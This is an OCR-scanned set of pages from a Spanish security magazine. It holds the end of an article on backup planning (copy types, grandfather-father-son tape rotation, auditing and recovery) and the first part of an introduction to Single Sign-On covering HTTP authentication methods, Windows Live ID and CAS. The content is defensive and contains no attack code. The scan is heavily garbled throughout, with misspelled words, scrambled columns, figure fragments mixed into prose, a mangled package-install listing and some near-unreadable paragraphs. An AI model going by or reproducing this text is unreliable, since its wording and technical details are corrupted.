dos se copian inmediataments en
la infragstructura secundaria en
cuanto son creados o modificados
en la infraestructura principal. Se
trata de la solucion més cara, de-
bido al coste de infraestructura y
loglstica necesaras Mo obstante,
la recuperacidn de los datos es
practicaments inmediata.

+ Copia fuera de linea (backup,:
La copia fuera de linea consiste
en duplicar los datos afectados
en medios de almacenamiento
intercambiables. Generalmente,
cintas magnéticas, pero también
CD-ROM, DVD o WORM. Todos
estos medios se caractenizan
porgue necasitan ser fisicaments
montados en los lectores antes
de poder ser utilizados Se trata
da una solucion barata pero lenta
de recuperar. Ya que los datos
pertinentes deben ser primero lo-
calizados en el medio fisico que
los contiene, montados fisica-
mente en un lector, y restaurados
Genegralmente, las velocidades
da transferencia de estos medios
son sensiblemente inferiores a
las de un disco corporativo,

Dentro de la copia fuera de linea te-
nemos varics tipos de copla posible:

+ Copia fofal. Consiste en una
copia completa de todos los da-
tos principales. Requiere mayor
espacio de almacenamiento y
uantana da haskor,

« Copie diferencial. Consiste en
copiar unicamente aquellos datos
que hayan sido modificados res-
pects a una copia total anterier,
Reguiers manor espacio de alma-

www. hakin®.org

cenamiento y ventana de backup.
Para restaurar una copia diferen-
cial es necesano restaurar previa-
mente la copia total en la que se
basa. Por tanto, requiene mayor
fiempo de restauracién. Una copia
diferencial pusde sustituir a otra
copla diferencial mads antigua so-
bre la misma copia total.

¢ Copia incremenfal. Consiste en
copiar anicamente aquellos da-
tos que hayan sido modificados
respects a otra copia incremental
anterior, o bien, una copia total si
ésta no existe. Noese que una co-
pia incremental no susttuye a las
copias incrementales antenores.
Para restaurar una copia incre-
mental es necesario restaurar la
copia total y todas las copias incre-
mentales por orden cronoldgico
que estén implicadas. Si se pierde
una de las copias incrementales,
no es posible restaurar una copia
exacta de los datos originales.

+  Imagen de disco: copiar el con-
tenido completo de una particion
o del disco enterc a un archive
ubicado en el medio de copia.

+  Clonacidn de disco: Copia de un
disco a otro usando copia a bajo
nivel, sector a sector. Esta clona-
cidn copia todos los sectores y
preserva el sistema de ficheros,
incluyendo la tabla de particio-
nes, sectores ocultos, espacio
sin usar y sectores de arangue.

El iempo de refencidn de los datos y
la necesidad de copias extra de los
mismos nos vendra dado por diferen-
tes motivos, entre los cudles estin:

+ Legislacion,

* Finalidad histérica de los datos,
+  Mecesidades del negocio,

+  Mecesidades de recuperacidn,

Estas dos necesidades nos obliga-
ram a rofar los medios, normalmente
8 aconsea el uso de como minime
3 conjuntos de medios. Una de las
técnicas que se puede utilizar es la
del abuelo, padre & hijo.

For ejemplo; supongamos gque
utilizamos copias de segunidad en
cinta, que hacemos una copia incre-




Copias de seguridad

mental de lunes a jueves y una com-
pleta los viernes. Esto nos da un total
de 5 cintas. Para utilizar la técnica
del abuelo, padre e hijo tendriamos
que tener 3 conjuntos de 5 cintas. La
primera semana copiariamos al con-
junto ebueio, la segunda semana al
padre y la tercera al hijo. Al finalizar
el cicle de tres copias volveriamos
a empezar con el abuelo. Esto nos
da un punio de recuperacion da dos
semanas.

El punto de recuperacion es el
punto mas lejano en el iempo en el
gue podemos recuperar los datos.
Segun queramos extender o acoriar
este punto necestaremos mas co-
pias, y an el caso de las cintas, posi-
blemente, mas conjuntos de cintas.

Esta imagen sacada del sitio Te-
chnet dentro de Microsoft nos da una
imagen del proceso:

Posiblemente necesitaremos al-
gunas copias extra, por ejemplo pa-
ra hacer copias completas anuales,
timestrales, al finalizar los pericdos
fiscales, atc. Para ello utiizaremos
conjunios de medios extra o me-
dios destinados dnicamente a esas
copias.

Par supuesto, todos los datos na
son igual de importantes, por ello

podemos usar varos sistemas de
copias de seguridad segin la impor-
tancia y el presupuesto.

El lugar para almacenar los
medios dependera de las necesida-
des de esios, el nivel de resgo da
la zona, nuestro presupuesto, atc.
Simplificando, los medios se pueden
almacenar en nuestras oficinas o en
el exterior.

En nuestras oficinas debemos
contar con un lugar adecuado. Que
tenga la temperatura y humedad
adecuada, que no esté cerca de
peligros potenciales, como caferias
de agua, sistemas eléctricos, etc. No
estd de mas contar con algln tipe
de proteccién contra incendios co-
me armaroes ignifugos, sistemas de
extincidn de incendios adecuados,
sensores de humedad y temperatu-
ra, etc.

Si decidimos que tener una
copia exterior nos va a prevenir de
posibles desastres y la informacién
la vale, deberiamos aplicar las medi-
das de seguridad necesarias para su
externalizacidn y asegurarmos que al
lugar las cumple.

El outsorcing de procesos inter-
nos a compafilas externas deberia
estar siempre regulado por confratos

de nivel de servicio. La externaliza-
cigon de la ubicacion de los medios
no s una excepcion. ;Cuanto tiem-
po tardard dicha compafila en tener
los medios preparados en caso de
que los necesttamos?  Tene las
modidas do seguridad adecuadas?
JTienen planes de recuperacion de
desastras?

Todo esto tendria que estar por
escrito y firmado en un contrato.

Una medida que nos viene a
todos & la cabeza al pensar en la
proteccion de datos es la encripta-
cign, pero tiene sus inconvenientas,
Debemos contar con una buena
infraestructura y organizacién para
la gestién de claves, o simplements
nos quedaremos sin los datos,

Para que todo marche perfecta-
mente, o por lo menos le podamos
echar la culpa a alguien, contaremos
con un responsable de copias de
segundad Algunas de sus funciones
son:

* Desarrollar el plan y documentar
lo,

*  Implementarlo,

+  Mantenearla,

«  Auditarlo,

*  Mejorarla,

Monday Tuesday Wigdnesday Thursday Fricay
1 2 3 L] 5
Wieak 1
Q| || |kl |l |l et tap 5 o e
[ 7 8 ] 10
Week 2
< < = On Friday momdng tape 10 =
C0)| || k| €| |k transtarod of i tape
r 1 r 1 r 1 r 1 r 1 s returred 1o be usad for the
1 2 3 4 5 wiei's normal backup
(Thaough weeki2)
Incremental
MNermal

Figura 3. Rotar los medios mediante fécnica del abuelo, padre e hijo

wwiw. hakin®.org



4

Defensa

+  Ser el punto de contacto con los
usuarios

Para evitar problemas y malen-
tendidos en el futuro, deberiamos
documentar las decisiones que se
tomen y el por gué de cada una. So-
bre todo en lo referente a los datos
que s& coplan y los procesos que
soportan.

Hay que tener en mente siempre
la recuperacidn, donde realmente
veremos si el plan de copias es vali-
do o no. No podemeos usar sistemas
que dificulten o compliquen mas de
lo necesario @l proceso de recupera-
cign de datos.

Implantacién

El software y hardware gue pode-
mos usar para implantar un sistema
de copias es muy extenso, por tanto
debemos usar aqualios medios v
programas con los que esiemos mas
familiarizados. El uso de sistemas
conocidos nos reducird la curva de
aprendizaje del sistema de copias,
el tempo de implantacion y el coste
total de propiedad.

Aun asi, hay una serie de facto-
res @n la implantacién de los gque no
podemos escapar.

Por mucho que nos pese tene-
mos que trabajar con los wsuanios,
ya que ellos son los que necesitan
las coplas. Algunas ideas que nos
facilitaran la implantacion son:

»  Que el usuario firme un acuerdo

de copia que contendra:

+ Daftos copiados,

* Frecuencia,

+ ‘entana de recuperacidn ne-
casaria.

+ Deben entender la imporfancia
de las copias, la perdida de datos
ocurre con mas frecuencia de lo
que s& imaginan,

+ Sitienen un procedimiento de ac-
tuahzacidn de copias les serd mas
facil poder avisar de nuevos datos
que necesitan ser copiados,

+ Siempre &s necesario saber gue
hacer cuando perdemos los da-
tos, un procedimienfo de recupe-
racidn, ya sea para que el usuario
recupere los dalos o para que

sepa a quien llamar, s imprescin-
dible,

* Un canal de comumicacidn claro
con el responsable de las copias
evitara malentendidos y perdidas
de tempo.

Por supLesto, no todo es tratar con
usuarios, decumentar ko gue hacemes
sempre es impartante. Sin pratender
hacer una lista exhaustva, estos
puntes o8 daran una idea de que se
puede incluir en el plan de copias:

* Los datos que se copian,

¢ Lasrazones para su copia,

* Medios utilizados,

+  Lugar o lugares donde se guar
dan los medios,

*  Medidas de seguridad aplicadas,

*  Destruccidn de los medios utili-
zados,

* Politicas de retencion de los da-
tos v medios que los contienen,

+  Como dijg antes, las razones pa-
ra todas las decisiones.

El plan de copias nos permitira
auditar nuesiro sisfema, al estar do-
cumentado siempre sabemos qué y
cémo debe ocurrir.

Los medios tienen que estar
guardados en un lugar seguro, perc
también lenemos que Ser capaces
de identificarlos y recuperarios de

una manera sancilla. Encerrarios
bajpo sete llaves y guardar cada llave
en un sitio diferente solo nos va a
dificultar la recuperacidn,

Para facilitar el conocimiento de
los medios que poseemos conta-
remos con un cafdlogo que incluya
como minimo:

*  Ubicacidn,
=  Contenido,
»  Medio,

*  Nombre,

» Fecha de caducidad

La existencia de dicho catalogo y
el etiguelaje de los medios de una
manera clara y facilmente visible
nos facilitara mucho la recupera-
cidn de los datos para su posterior
uso.

El sistemna de copias deberia
contar con un buen sistemna de avi-
so, con alerlas automdlicas de los
errores y del funcionamiento correc-
to. Hay que teneren cuenta que & el
sisterma falla no nos puede anviar el
mansape de ermor, posiblamente an
&l momento de conocer el fallo sera
demasiado tarde.

Una clara diferenciacion endre los
mensajes de error v los de correcto
funcienamiento permitird que la per-
sona que los revise no los confunda
debido a la monctonia.
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Copias de seguridad

Uso
Un vez implantado no nos podemos

& Tamihin oebamios b e 8n cuen-

quidar sanlados pensands que &l
sistoma va & funcionar perfectamen-
W de por vida Estes son algunas
do ot meas de mankenimionta que
debemos hacer durars & use dal
sistema:

poto tempe de la implantacidn
del sistema, pars ver & odo ha
sabdo como se esperaba. Dos-
puis s deberian realizar sud-
torias penddicas para venficar su
furcionamients. Las auditorias
deberdn comprobar que:

+ Se estin realizando las co-

pias,
+  Eetdn todos los datos,
« El tiempo de vida del medio

ol s o al o har os
i, il bk pr gt ]
busna guia hiipoYoso. nist gow’
publications/isfpubs/800- 887
METSPB00-88_revipel Esta
bonita historia nos cuenta coma
podemos EXpONEr NUESTOSs mde
intimos secrotos, ¥ en esie caso
50 vale muchs dirmro, por reut-
brar o mbsoR MR aanEafon
e, aecuntyfocus coms
colwmmiste 424 fref=res

Recuperacion
Si hemos hecho una busns plan-
ficacidn a implemaentado todos los
procedimisntos y condroles necesa-
riod, l8 recupBracién no deberia ser
una axperencia traumatica

Fam que sea &8l los usuaros
Senen que tener claro & guien hay

na ha sido superado que svisa, y como hacedo. Ya que
*  Los medios estin donde de- Imente no serd el =]
b#iamn du las copias quen debects la pendi-
+ Los sisemas de prowcchin  dade datos
achian adecuadamants, Por supuesto o responsable de
+ El sistemna de alerta funciona  |as copias tene gue saber donde es-
cormectaments. tiin ks medias con los datos, cusalfo
+  Auditorias suformdlicas y alealc-  bempo giap para ka ! 1
nag Con cartas combindsionss  antes 9o Gue ol NEgOco S8 RN
de hardware y software el misme  y como resiawraer los daios.
ssbema de copas pedria infents Elp de recuparaciin debe

extraer anchivos al azar de co-
prins dfarares para COmMprobar
84 integridad, o que simplements
purde hacerk, Al hacerse de
manera aviomatca s podia
realizar mucha mds a menudo

sasbema de Lna Manera muy eco-
nomica.

+ Documentar los incidentes para
que se pusda mejorar el sistema
¥ N wuslvan a ooueTir.

Sobre el Autor

lac Peme Monche e responiable
del deparamensts do segund sd oo
JPL Taolucio S.L. Poses lan Boulacio-
ros: kicrosst Cetfed Porfessonar
[ MCPF1 y Master Packef Analizys de
Fang Stay SheE (SSP-MPA Cermited
Profesicral),

estar debidaments cocumentedo y
ser ficilmenie scoesihie a fodos os
usuarios posnciales. Lina busna ma-
nera o8 crear una simplificacion del
proceso con o8 pasos IMportanies
madiante un dagmma de fuje ¥ co-
locare en algiun sito TAciiments acoe-
sible. como b de la emp

*  Documsntar los problemas qus
ApareIcan ¥ persar que podria-
Mo cambiar phre qui no volvie-
Fan @ OOUrTIr.

* Terer moecanismos de conirod
s0bie @l sSlema para ConoCer
SU crecimisnio, cuando se satura,
etc.

*  Un sisterma de méltricas que nos
permita extrasr y procesar la
informacidn esencial de kos can-
rales ¥ D8 procesos OF CORG
Todas estas medidas nos dan
b posibddad 0 CONDCET QL
cambios. mejorarian & sstema,
cosa que SN duda redundars en
NEEng Bnohoin

Conclusidn

Un plan de coples de seguridad
no &8 alge ficl de llevar a cabo,
hay muchos factores que tener en
cunrta Y Wodes panecen igual de
importantes. Sin embargo hay que
S8 realntas. ya que poublements
muchas empresas no pusdan reali-
ZAF U plan G aRtAS CRrBCDRENCEE
Tanienda an mente que 88 o gue
deberian hacer los sard mucho mas
fiicil coger ko minima necesana pana
wlios y croar un plan guo soa ko sufi-
cientsmants wilido y asequible para
cada uro.

Aungue COREr COn SSER0M-
miwnto de expertos os ssmpro la
mejor manera de hacer algo sobne
lo que no disponemos de expe-
risncias ni conocimienios propios
Siempre podemos mafarnes y reali-
zarlg por nosolros mismos, El dnico

Sl 8 tenen un comnunts de
politicas de seguridad o wun plan
da seguridad més sxiensc que los
ubuanios deben segur, el mismo
madic para dfundir asas poliicas
saria ol ideal para publicar tambidn
a8l process

Mejora
Coma tede ccle de vida &l plan de
copias de seguidad necesita mefo-
rar adaplarse a los cambios y praver
rusas contingencias,

Algunas de las medidas que
podemes UEHZar para | meora con-
Wnua son

que posikh be nos falte
os ol tempo ¥ la experiencia, por-
g documentacitn vamos a ener
de sobra.
o me guedaria con tres cosas
importanies:

+  Copiar lo mecasang lamnends an
i la continuidid del regocia.
5i e i mos clarg gua o o ne-
COBano 0% MEjOr pasamos que
quedamos corfos,

+ Probar las copias pariddicaman-
te.

+ Documeniar o e hacemes y
porque lo hacemos. ®
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FPara principlantes

Introduccion a Single
Sign-On - | parte

Arturo Gonzdlez Femer :

Gretha de i foillad
[ ]

A medida que la World Wide Web ha ido creclendo, tanto en
Internet como en las redes institucionales privadas, ha surgido
un problema colateral asociado al acceso restringido a recursos

situados dentro de esas redes.

i al comienzo de los anos 90 o ea-

mente importante era realizar pdginas

wab con conferide y enlaces do inbe-
rés, en la actmaldad esic s& da por hecha,
¥ &0 SMgEOZE @ PONSET N ORRZAT O BCCRdOT
& conbenidos que estin sfuados en redes
privadas o en plataformas softeane instaladas
an dichas subredes, cuyo accesn debe ser por
ko general imitado de algin modo. Lo msmo
QLR BN Empresas &n ks que se ofrecen va-
N servicios de soitwarne con idenbficacon La
soluciin ideal pars inegrar 3 autenticacién de
1odos esios SErviGIos BN UMD 58 CONGGE COMM
single gign-on, y en e articulo veremos an
qué consiste.

Lisgade un momenio en la evolucién de
Intermat, &l soporte a sarvicios adminishra-
tives o académicos, asl como el acceso a
infarmacitn Stuada on bases de datos inli-
fucionales, puss de manifiesio a8 recesdasd
de almacenar la informacién de acceso de
loa difereries USUARCE Vanas veces oe farma
redundante, asi como los diferentes roles
o parmises que usaban al acceder @ cada
recursa (estudiantes, profescres, vistanbes,
ivithdas, parscnal de k& empreRa. jeles,
empleades, eic)

wwres Rakind arg

El concepto de portal se popularind sobre
todo tras | salida ol mercado de Yahoo!, don-
de 6 mostraban diverses canales de infarma-
cidn {clima, conea, calandario, deportes, #ic.),
presentando asd la informacidn de forma con-
wxtual frenbe al antgue ¥ obsaleta listado de
onlacos @ mcusoes, Postoriormants, Se unifan
a esta iniciativa tanls universidades como las

En este articulo aprenderas...

+ Cudles 500 08 PONGIDAES. MEcINEMoS o8 -
TEPLOBCENT &0 VD

+  Enqud consiste B aubenbcacidn Singis Sign
fin

+  Emplos de servicks 550 v splicecions gu
Faoen usd de eie PSCENLTD

Lo que deberias saber..,

+  Concapios bisicos da TCPIP

+  Conocimisntos de HTTPy S5L,

+  Conscimisntos mermedos de Lo,

+ irstalacibn y Configuracidn de servidores VWb
Apacha Tormcat,

+ Algln lenguaje pars web [JAVA, PHI.




Single Sign-0n

empresas tecnologicas del momento que utiliza un usuario. Esto a su de entrada de los usuanos en &l
(Excite, MSN, Altavista, efc. ). vez reduce el nomero de errores sisterma,

A partir de entonces, los portales
extendieron su funcionalidad a infor-
macidn de ofro tipo, y s8 empezaron
a implantar también en empresas
donde la existencia de diferentes
roles de usuario y diferentes aplica-
ciones software a las que acceder,
levaba a pansar al administrador de
sistemas en desamollar un sistema

USUARIC

de este tpo.

El primer problema & la hora de entdr: .
afrontar el acceso identificado a di-
ferentes recursos dentro de una mis-
ma organizacion es la complicada
interfaz de enfrada que se encuentra
el usuario, MNormalments estamos B::;:
acostumbrados a encontrar un for- .
mularic que nos pide un nombre de

usuaria

de usuaric y una coniragefia para
acceder al portal, pero imaginemos
gue para cada aplicacion a la gue va-
mos a acceder en una arganizacion
tuviésemos una serie de permisos
especificos (por ejemplo, acceso de
administrador para la aplicacion X, y
acceso de usuano para la aplicacién
¥). En este caso tendriomos que
tener un formulario de identificacion
por cada aplicacién, y quizas datos
de auvtenticacidon diferentes para
cada acceso. La solucidn en esle
tipo de casos es el desarrolle de un
sisterna Unico de entrada, conocido
como Single Sign-on, una solucién
gue afronta los problemas de usa-
bilidad y seguridad comentados. El
Open Group define S50 como: un

Figura 1. Identificacidn sin S80

USUARKD

mecamnisme donde una Unica accidn = cola de conaxines

de identificacidn y sulonzecién del &3 - :

usuarne puede permitirle acceder a eg;r;oda : T

todos los sistemas o recurses don- i

de dicho usuario fengas permisos, i

@in la necesidad de wenlificarse de Base de :

nueva datos 1 i
Algunas de las ventajas princ- ml"t‘“ s T :

pales de este mecanismo son las usuario

siguientes:

* Reduce el hempo de entrada da
los wsuanos en la identificacidn
dentro de un dominio determina-
do,

+ Mejora la seguridad como con-
secuancia de la reduccidn de
la informacidén de autenticacidbn  Figura 2. ldentificacidn con 80

APLICACION 1 APLICACION 2 APLICACION N

wwiw. hakin®.org
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Fara principiantes

¢+  Reduce el tiempo de respuesta
de los téenicos de sistemas ante
un problema de seguridad deter-
minado, o en la modificacién de
la informacidn de usuarios (per
misos, accesos, etc.),

+ Aumenta la facilidad que tienen
los administradores de restringir
y controlar &l acceso de determi-
nados usuarios a todo el sistema
o a parte del mismo de modo or-
ganizado,. al estar centralizada la
informacién de acceso,

+  Cumple con la legislacidon asocis-
da a la proteccion de datos. Se
simplifica si dicha informacidn no
esta distribuida en varies siste-
mas,

¢+ Leos recursos a los que accede
el usuario fras su identificacidn
no tendrian por qué perienecer a
una dnica organizacion,

+ Empiezan a contemplarse solu-
ciones S50 para acceder a re-
Cursgs en varias organizaciones
diferentes de forma cruzada, lo
que sa conoce como Federalted
Single Sign-on (8). Shibboleth),

+ Desde el punto de vista tBcnico,
580 también puede facilitar la rea-
lizacsbn de una cola de conexiones
para altas cargas en el acceso a
las distintas apliaciones  Por
epmplo, existen aplicacionss quo
permiten centralizar todo el tréfi-
co en un canal que previaments
gestionard el acceso en el caso
de que existan demasiadas peti-
ciones simultaneas a un recurso.

En cuanto a los requisitos que po-
driamos establecer para implantar
una solucidn de este tipo, podemos
mencionar que:

= Ante todo, dicha solucién tendra
que funcionar en la practica, mas
alla de ser una buana elaccion an
cuanto a su base tedrica,

» Debe facitar & acceso a los
recursos, minimizar las interac-
ciones de autenticacion y por
supuesto ser fiable y escalable,

* Debe integrar una nueva pieza
software dentro del sistema de
autenticacidn global no deberia
ser especialmente complejo, asi
como su mantenimiento diario

* La solucidon debe ser razona-
blemente segura, evitando ante
todo atagues de suplantacidén de
identidad,

+ Debe mantenerse en todo mo-
mento la privacidad y confiden-
cialidad del usuario.

Comunicacion
cliente-servidor
Para entender un poco los mecanis-
mos disponibles gque existen para
que un usuario se identifique en una
web, es basico entender primerc
como se produce dicha comunica-
cidn entre el navegador del usuano
y el servidor. Para ello se utiliza el
protocolo HTTP (Hyperfext Transfer
Pretacol), un protocole de la capa
de Aplicacién del modela OSI, que
utiliza peticiones y respuestas entre
cliente y servidor para su funciona-
mierte. Para su funcionamients el
cliente establece una comunicacan
TCP (Transmission Control Prolocel)
en un puerto particular del sarvidor,
normalmente el puerto 80, donde el
sarvidor espera pacientemente para
devolver una respuessta al cliente

Un epmplo de comunicaciin
con un host de ejemplo podemos

verlo utilizando la herramienta felnet
desde un terminal en Linue. Los co-
mandos tecleados:

1y charset=1so-

A850-1

Si no se dispone de dicha hera-
mienta, se puede usar la web hitp:
Hwab-sniffernel para cbservar la
informacién de pelicién y respuesta.

Autenticacion

de usuario

Al acceder a un recurso web que ne-
cesite idantiicacion, sa pueden usar
varses métodes para llevar a cabo
dicha identificacién. Comentaremos
tres de ellos.

Autenticacidn basica HTTP

+  Un cliente pide acceder a un re-
curso protegido,

* El servidor comprueba que estd
protegido y nos pide usuario y
contrasefia mediante una venta-

T Sy e 4w
e o

I U T B I LEAE, PAETEE 14 SRR o
O Rl i R S AT aT
rEgET g 1

B e |
gl eE S
o e Bleercead

af sy Ly

Figura 3. Inicio de Sesidn en Windows Live
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Figura 4. Capichas en Windows Live




Single Sign-0n

usuario

P.:'LICP-

mobaes@ aPleam. 3

Senvidor Cemral

Flgura 5. Aulenficacidn medianie
cookies en el servidor

usuario
APLICACION 2

cookies \
APLICACKON 3

Figura 6. Autenficacién medianfa
cookies en el chente

Ra aMAraanta f AnRn windau

= El usuario rellena dicha informa-
cidgn, pulsando Aceplar

* El servidor valida dicha informa-
cién, y si todo va bien muestra el
recurso requendo,

* En caso contrario, mostrard una
pdgina de error, generando el
comespondiente codige de error
HTTP.

Todo este procedimiento puede con-
figurarse directamente en el servidor
web. Por ejemplo, si estamos usan-
do el servidor Apache, podriamos
incluir un fichero .hfsccess en un
directorio que queramos proteger,
con el siguiente contenido:

En este caso, debemos afadir el
usuario administrador al fichero de

autenticacion especificado con la
directiva aurhirsecF utilizando el
comando incluide con el sarvidor

apache, nrpasswd

Autenticacidn basada an
formulario

*  Un cliente pide acceder a un re-
curso protegido,

*  Si el chente no se ha identificado
en un momento anterior, se le ra-
dirige a la pagina de identificacion,
donde s coloca normalmenta un
formulario compuesto por nombre
Al Faiimae o Mﬂh-.-uﬁnl

* El cliente rellana dicha informa-
cion, pulsando Aceplar

» El sarvidor valida dicha informa-

cign, y 5 todo va bien, el cliente
es redirigido al recurso al que
queria acceder,
En caso contrario, se le redirige a
uma pagina de errar, o de nuevo a
la pagina de entrada (mostrando
algin tipo de notificacion)

Esta &5 la opcidn mas combn que
vamos a enconfrar implementada
en un portal, y es la base para la
instalacion de un mecanismo Single
Sign-0n. Los lenguajes mas tipicos
en los que se utiliza este mecanismo
son PHF y JAVA, donde encontra-
mos multitud de librerias disefiadas
para tal fin.

USUARIO

Lo ideal en este tipo de auten-
ticacién es activar la comunicacién
segura del servidor web, mediante
conexiones a través de S5L (Secure
Socket Layer). En caso contrario,
un usuario malicioso podria obtener
las claves de acceso de um usuario
lagitimo monitorizande el canal de
comunicacién utilizado.

Autenticacidn
con certificado del clienta
Este es al método mdés seguro de los
tres comentados. Utliza HTTP a fra-
vas de S5L. El cliente y el servidor 58
identifican uno a otro utiizando cer
tificados de clave pdblica, Podemos
considerar a este tipo de certificados
como un equivalents a un documento
de identidad que genera una orga-
nizacidn de confianza llamada Au-
toridad de Certificacién (CA), v que
proporciona identificacion a cada uno
de los extremos de la comunicacion.
Asi pues, una vez que tenemos
claro como se pueden llevar a cabo
el proceso de autenticacion, pode-
mos ver an las sigwentas figuras las
diferencias existentes entre el acce-
50 a varias aplicaciones haciendo
uso de S50 o sin él (Figura 1y 2).

Ejemplo de aplicacion
SS0: Windows Live ID
La mejor manera de entender qué es
Single Sign-0On es sin duda alguna,

LDARRACTIVE DIRECTORY
SERVER

CAS SERVER

1. Peticidn

A, 1D+ ticket
5 1D de usuanio

2 Validar usuatio

Figura 7. Froceso de aufenticacidn usando CAS
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var algan ejemplo real. Windows Live
1D {o la antgua Microsoft Passport
Network) wtiliza unas credenciales
de Inicio de sesidn Gnicas (direccién
de cormeo electrdnico y contrasefa)
¥ a continuacion uliliza dichas cre-
denciales para acceder a cualquisr
sitio del servicio Windows Live ID.
Esto nos va a permitir acceder a MSN
Messenger, MSN Hotmail, MSN Mu-

sic, etc. sin tener que identificarmos
varias veces. En la sigulente figura
podemos ver la pagina de entrada al
servicio Mindows Live ID.

Podemos identificar, ademas del
formulario de autenticacion tipico
comentado en el punto anterior, una
serie de caracteristicas comunes en
la pagina de entrada para este y mu-
chos otros portales de este tipo:

wbaga
Loading "Installonlyn™ plugin
Setting up Install Frocess

Fetiing up ceposibories

readlng reposliory metadaza In from
rarsing package Install Arguments
Resolving Dependencies

Trapsactlon Test Succeeded

boel

Inatall

Inatalli ldapidk
Installing: jakarta=-compons=validator
Installing: struts
Inatalling: jakacta=-commond=dii
Inatalling: jakacba=ces

jakarta-tagll

Jakart amcoms

wndld)

: axls

: mxd]

i jakarta-ccmmons-modeler
: tomcatbe=gerver-1ib

tomcatb-webapps
3¢ TemeatS-adeln-webapna

~
Listado 1. Instalacidn de pagueles y dependencias de Tomeat5 en FCG

[root Bmachine user]# yon Iinstall tomcath tomcatS-sdwin-webapps Comcati=

local flles

Running Tr
Inatalli ns-logging dRddda Rl [ 1/09]
Installing: =collections AOFRRFRRRIIRRRRERERRREE | 3 i
Installi ns=beanutils PRI R RN ENRE [ 2720
Installingy jakarta ns—-dlgester dRgRRRRR R pAR AR RRE [ 1/05]
Inatalling: classpathx=Jaf PRRRRRRR RN RN RN [ 5/29]
Inatalling: classpathx=mail LALLE A A R R LA L) [ &/39]
Inatalling: jakarta-cro LIRS E N PR TR TR L R LT T e
Inatalling: tomcabt®-jasps: BEFRERABR R R [ B/2E]
Installing: regexp ERERRE R AR [ 9720
Inatalling: jakarta-commcs vad fHitFdr R AR R R R ERE (10720
Inatall Jakar ta-commor FRERRR R PR (11729
Inatallings 1ikgej—dewel ERERRE AR AR (13720
Install jakarta-comeons-pool dAERRRA R AR AR [12705]
Inatall welipae=es BEFRRRRR R PRl (14720
Inatalling: legdl FERRFRRP R RRE 15729
Installing: jakarta-commons=dbcp ddfRdEdR AR FAREIR RN [16/05]
Inatall 1 goo=java dREdE AR RE PRl 17729
Inatall java=1.4,2=gci=compat=devel AiEidFEddFddFARRRARARIRE (10700
Inatall ant PR PRI IO RRRE |

FEERRRRRR IR R
FHERER AR AR R R
ERERRERERA AR
L T L T T
FERRRRRRRRRR R
SRR
FHE R R
L R T T T T
ARERRERR AR
BERRRRRRRRR R
FRRRRERERRE AR
LR R )
LT T T
BERRRERERRE AR [22/20)
L T R L L T T
BERRERRRR PR (25729
BERRRRRERR R
PEERRRRE AR AR AR [17/00]
ARERRERRR AR R [28/00]
BERRRERERER AR [29/29]

* El enlace sHas olvidado la contra-
sefia? se encuentra en la mayoria
de los casos So suele ubilizar un
asistents para recuperar o cambiar
la contrasefia, enviando una serie
de comeos electrénicos al uswana,
donde serd advertido de que al-
guien esta intentando recuperar la
contrasefia desde una direccion IP
concreta. Normalments se requeri-
ra la contrasefia antigua o frase re-
cordatona establecida por el propio
usuarno en el momento del regestro
da la cuenta, con el objetive de evi-
tar suplantaciones de identidad.

« En ocasiones, puede que se
usen los denominades capichas
(Complately Autornated Public
Turing test to fel Computers and
Humans Aparf), imagenes que
contienen una sene de carackeres
afanuméricos generados de for-
ma automatica y aleatoria, que el
usuano deberd teclear en una cap
de texto para continuar con ka opa-
racibn (por ejemplo, la comentada
&n &l punte anterior de modificar la
contrasafia o recuperaria). En ofras
ocasiones pueden consishr en la
resolucién de un sencile célculo
matematico. Los capuchas son ub-
kzados para identficar que el usua-
re es realmente un ser humano,
evitando asi que robots autormdt-
cos, programados para explorar la
Wb en busca de fallos de seguri-
dad, puedan utilizar este sarvicio de
farma maligna, ya sea para intentar
recuperar conftrasefias, acceder
a servicios de forma ilicita, o inclu-
50 para introducir SPAM en certos.
sfios web, como por ejemplo,
en los foros de debate.

Generar este tipo de imagenes es
muy sencilo realizar operaciones de
rotacien y traslacion de las mismas
con librerfas que permiten crear
imagenes a partir de caracteres. Un
ejemplo puede ser la libreria grafica
de PHF, ibGD.

Mecanismos de
Implementacion
Hay diversas formas de implementar
550, aunque realmente hay muchas
que podrian considerarse meros

www. hakin®.org



Racks para conseguir ¢l mismo fin.
Eviderdamanie muchas de esias
soluciones, si bien pueden ser muy
villidas y en ocasiores muy sencillas
de implantar, algunas vecss no son
oo ko Seguras que un administradar
de sistemas responsable cesearia.
‘Veamos algunas posibiidades:

* La informacidn de aulnscacidn
B CACHAR USANdD COOKES #N LN
sarvidor central ¥ =8 va emiando
a e dferenbis aphcaciones que
la necestan. Esto impica perder
ol confrol de la infoernacion dal
usimio, y habrd que ser muy
precavidos an S mplementicain
{Figura 5).

= Almacenar las credenciales en el
equipe del usuario. o en ol propic
navegador mediante cookies,
¥ *riarias & las aphcaciones sa-
gun se necesite. Este mecanis-
ma 8% bastanie insegure, ya que
se dicha informacidn, incluidas
las contrasefas. s& almacenardn
an 8l ardenadar del usuaric, que
par b general estard conactado
a Intemet, siendo obpbivo de
wriltiples ataques (Figua &)

o Usar algin softwane en la com-
putsdora del usuarc que auto-
mécamaente identifica a este an
meiltiples aplicaciones

*  Usar codigo de lado del servider
on ks apicacionss, lo que permite
fque iMeractien enfre allas sin
riervencdn del usuano. Bl uso
de ura plateforma de eulenica-
cidin cenfral puede ser muy buena
Opcitn, SEMpE Que S8 [OME
debidamante dicho servidar, ospa-

IR COMTE BEGUES di dend-
gacitn de servicio. Desde (uego,
centralizar toda la informacién de
autenbicacion pusde sar la sol-
cidn mis sencilla y eficients, sobre
fodo Bn grances orpanizacionss.

= Qo método valide os ol conodi-
do coma screen scraping. Tras
una primera autesnScacidn inicial,
=0 xplors |8 paniala de entrada
de la aplicacsdn a la que so acce-
de {utikzando por ajpmplo un par-
wor de HTML para sncontrar los
alemantos que nos inberesan)

Ejemplo de
servicio $50: CAS
CAS (Candral Authanbcabon Jenaoe)
g 85 mis gue un protocols dsefiads
para permiir a las apicaciones web
idenlifcar usuarios usands un Ser-
wador cantral de confanze. MNormal-
MY S USE LN Sarvicio de direcionio
como LOAP o Actve Dinectory pam
walidar los datos de los usuanos. Este
Shrvics fud creado on [ Universsdad
die Yale, y esth escrito an enguaje
Java, En la siguente figura so pus-
de apreciar ol procosc que sigus un
usuanio para idenSficarss en un recun
50 wab por meda de CAS (Figura 7)
CAS soporta une furcsbn de ga-
tewan. estableciondo un pardmatro en
In paticidn al servidor CAS, de modo
gue no st muesisa la pantalla de ini-
0 de sesdn, siempre que xista el
tickost CAS en ol narvegador del usua-
